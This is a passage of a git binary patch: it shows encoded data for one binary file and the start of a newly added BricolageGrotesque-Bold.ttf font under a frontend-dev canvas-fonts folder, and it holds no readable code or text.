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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/BricolageGrotesque-Bold.ttf b/skills/frontend-dev/canvas-fonts/BricolageGrotesque-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..f3b1deda1c594859a1f5197644142f73e2a85868 GIT binary patch literal 90952 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 